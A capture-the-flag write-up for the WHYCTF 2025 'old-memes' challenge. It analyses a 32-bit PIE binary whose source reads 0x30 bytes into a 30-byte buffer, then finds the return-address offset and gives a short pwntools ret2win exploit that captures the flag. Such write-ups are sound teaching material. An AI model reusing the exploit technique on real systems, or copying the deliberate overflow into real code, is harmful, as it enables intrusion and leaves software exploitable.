--- title: "WHYCTF 2025: old-memes" excerpt: "Classic 32-bit x86 ELF ret2win exploit (stack buffer overflow) with Position Independent Executable" tags: [ctf, pwn] --- As usual, we'll begin by analyzing the executable features and architecture: ``` $ file old-memes old-memes: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=c315155fad7db7cae0003de733ec91e47c0dba89, for GNU/Linux 3.2.0, not stripped ``` We're dealing with a 32-bit executable this time. I've gotten more used to 64-bit recently, but this should be no problem. We can also take a look at the enabled security features: ``` pwndbg> checksec File: /home/qelal/WHY2025ctf/OldMemesNeverDie/old-memes Arch: i386 RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled Stripped: No ``` It is the first time that I will deal with a PIE-enabled file. To make things clear, PIE stands for "Position Independant Executable"; which basically means, the system will load the program at a different address every time it is run (using ASLR: Address Space Layout Randomization). This is a problem for us because it will be harder to get the addresses of the symbols we will work with. Let's run the program to see its behavior: ``` $ ./old-memes (do with this information what you want, but the print_flag function can be found here: 0x565ff1ed) What is your name? > ^C $ ./old-memes (do with this information what you want, but the print_flag function can be found here: 0x565e01ed) What is your name? ``` The programmer was really kind and gave us the address of a `print_flag` function at startup. We can clearly see here that the address changes for each execution. Let's take a look into the source code now: ```c int print_flag(){ // does what it's supposed to do, redacted here } int ask_what(){ char what[8]; char check[6] = "what?"; printf("\n\nWhat is your name?\n> "); fgets(what, sizeof(what), stdin); what[strcspn(what, "\r\n")] = 0; if (strcmp(check, what) != 0) return 1; return 0; } int ask_name(){ char name[30]; printf("\n\nWhat is your name?\n> "); fgets(name, 0x30, stdin); name[strcspn(name, "\r\n")] = 0; printf("F* YOU %s!\n", name); } int main(){ setbuf(stdout, 0); printf("(do with this information what you want, but the print_flag function can be found here: %p)\n", print_flag); if(ask_what()) return 1; ask_name(); return 0; } ``` At first glance we can see that the first function we enter after main is `ask_what`; a string comparison is done and if we enter `what?` we get into another function, called `ask_name`. This function hosts a buffer overflow: indeed, the programmer allocated 30 bytes for the `name` string, but gave `0x30` to the `fgets` function, the safe replacement for the very unsafe `gets` we know from past challenges. It is obvious that 30 in decimal and its hexadecimal representation are not the same number; the latter being 48 decimal. This allows for 18 bytes of overflow. To confirm this hypothesis we can try to enter a big enough amount of bytes when we enter the insecure prompt: ``` $ ./old-memes (do with this information what you want, but the print_flag function can be found here: 0x5657c1ed) What is your name? > what? What is your name? > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA F* YOU AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA! [1] 12233 segmentation fault (core dumped) ./old-memes ``` A segfault occurs, which means the program tried to access an invalid address, because, of course, `0x41414141 (AAAA)` isn't mapped. We can trigger a controlled segfault in pwndbg to find the exact EIP (extended instruction pointer) offset, which normally holds the return address to the function we were called from; in this case, `main`, but we'll modify it to reach the `print_flag` function. After generating a cyclic pattern, injecting it, and observing the EIP value `0x616c6161 ('aala')` we find the offset: ``` pwndbg> cyclic -l aala Finding cyclic pattern of 4 bytes: b'aala' (hex: 0x61616c61) Found at offset 42 ``` We can demonstrate that this offset is correct by injecting arbitrary controlled data, like four 'B' characters: ```bash $ python3 -c "print('A'*42+'B'*4)" ``` And indeed, pwndbg shows us `EIP 0x42424242 ('BBBB')`. We are good to go. What I bascially did from there was scraping the address given in text by the program, converting it to little-endian (because the architecture here is x86) and building a small pwntools script. Here's the exploit code (stripped from boilerplate): ```python offset = 42 io = start() info_line = io.recvline() print_flag_addr = bytes.fromhex(info_line[-10:-2].decode())[::-1] print(print_flag_addr) io.sendlineafter(b'> ', "what?") io.sendlineafter(b'> ', b'A'*offset+print_flag_addr) io.interactive() ``` And it worked first try! ``` $ python exploit.py REMOTE old-memes-never-die.ctf.zone 4242 F* YOU AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xfd1}[! F* YOU and your flag: flag{f648a34020ffba10cc5cfc9bd2240725} ```